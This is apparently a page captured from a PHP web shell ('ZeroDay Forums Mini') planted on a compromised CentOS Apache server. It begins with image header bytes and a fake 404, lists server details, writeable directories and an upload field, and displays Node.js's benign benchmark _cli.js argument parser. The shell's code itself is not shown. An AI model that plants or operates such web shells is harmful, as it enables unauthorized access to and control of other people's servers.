����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/benchmark/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/benchmark/_cli.js
'use strict';

const fs = require('fs');
const path = require('path');

// Create an object of all benchmark scripts
const benchmarks = {};
fs.readdirSync(__dirname)
  .filter((name) => fs.statSync(path.resolve(__dirname, name)).isDirectory())
  .forEach((category) => {
    benchmarks[category] = fs.readdirSync(path.resolve(__dirname, category))
      .filter((filename) => filename[0] !== '.' && filename[0] !== '_');
  });

function CLI(usage, settings) {
  if (!(this instanceof CLI)) return new CLI(usage, settings);

  if (process.argv.length < 3) {
    this.abort(usage); // Abort will exit the process
  }

  this.usage = usage;
  this.optional = {};
  this.items = [];

  for (const argName of settings.arrayArgs) {
    this.optional[argName] = [];
  }

  let currentOptional = null;
  let mode = 'both'; // Possible states are: [both, option, item]

  for (const arg of process.argv.slice(2)) {
    if (arg === '--') {
      // Only items can follow --
      mode = 'item';
    } else if (['both', 'option'].includes(mode) && arg[0] === '-') {
      // Optional arguments declaration

      if (arg[1] === '-') {
        currentOptional = arg.slice(2);
      } else {
        currentOptional = arg.slice(1);
      }

      if (settings.boolArgs && settings.boolArgs.includes(currentOptional)) {
        this.optional[currentOptional] = true;
        mode = 'both';
      } else {
        // Expect the next value to be option related (either -- or the value)
        mode = 'option';
      }
    } else if (mode === 'option') {
      // Optional arguments value

      if (settings.arrayArgs.includes(currentOptional)) {
        this.optional[currentOptional].push(arg);
      } else {
        this.optional[currentOptional] = arg;
      }

      // The next value can be either an option or an item
      mode = 'both';
    } else if (['both', 'item'].includes(mode)) {
      // item arguments
      this.items.push(arg);

      // The next value must be an item
      mode = 'item';
    } else {
      // Bad case, abort
      this.abort(usage);
    }
  }
}
module.exports = CLI;

CLI.prototype.abort = function(msg) {
  console.error(msg);
  process.exit(1);
};

CLI.prototype.benchmarks = function() {
  const paths = [];
  const filter = this.optional.filter || false;

  for (const category of this.items) {
    if (benchmarks[category] === undefined)
      continue;
    for (const scripts of benchmarks[category]) {
      if (filter && scripts.lastIndexOf(filter) === -1) continue;

      paths.push(path.join(category, scripts));
    }
  }

  return paths;
};

ZeroDay Forums Mini